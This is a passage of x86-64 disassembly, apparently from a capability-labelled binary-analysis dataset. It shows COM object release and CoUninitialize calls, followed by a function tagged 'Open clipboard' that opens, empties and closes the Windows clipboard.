mov rcx, rdx
call rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x28]
mov rcx, rdx
call rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x18]
mov rcx, rdx
call rax
mov rax, qword [sym.imp.ole32.dll_CoUninitialize]
call rax
mov eax, dword [rbp - 0x2c]
jmp 0x231943565
mov eax, dword [rbp - 0xc]
add rsp, 0x60
pop rbp
ret
Function at 0x231944096
Capabilities:
Open clipboard

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x2319440c7
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
add rsp, 0x20
pop rbp
ret